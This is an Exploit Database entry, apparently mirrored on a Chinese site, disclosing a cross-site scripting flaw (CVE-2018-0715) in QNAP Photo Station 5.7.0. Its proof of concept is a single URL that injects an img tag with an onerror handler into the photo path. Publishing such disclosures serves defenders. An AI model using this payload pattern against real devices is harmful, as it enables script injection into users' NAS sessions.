QNAP Photo Station 5.7.0 – Cross-Site Scripting

• Exploit Database
• 109 阅读

• 作者： Mitsuaki Shiraishi
  日期： 2018-09-07
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/45348/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14

  # Exploit Title: QNAP Photo Station 5.7.0 - Cross-Site Scripting # Google Dork: N/A # Date: 2018-09-07 # Exploit Author: Mitsuaki (Mitch) Shiraishi - secureworks # Vendor Homepage: https://www.qnap.com/ja-jp/security-advisory/nas-201808-23 # Software Link: N/A # Version: QNAP Photo Station versions 5.7.0 and earlier # Tested on: N/A # CVE : CVE-2018-0715   # PoC:   https://***.***.***.***:8080/photo/abc/<img%20src%3Da.jpg%20onerror%3D%22alert(1)%22>.txt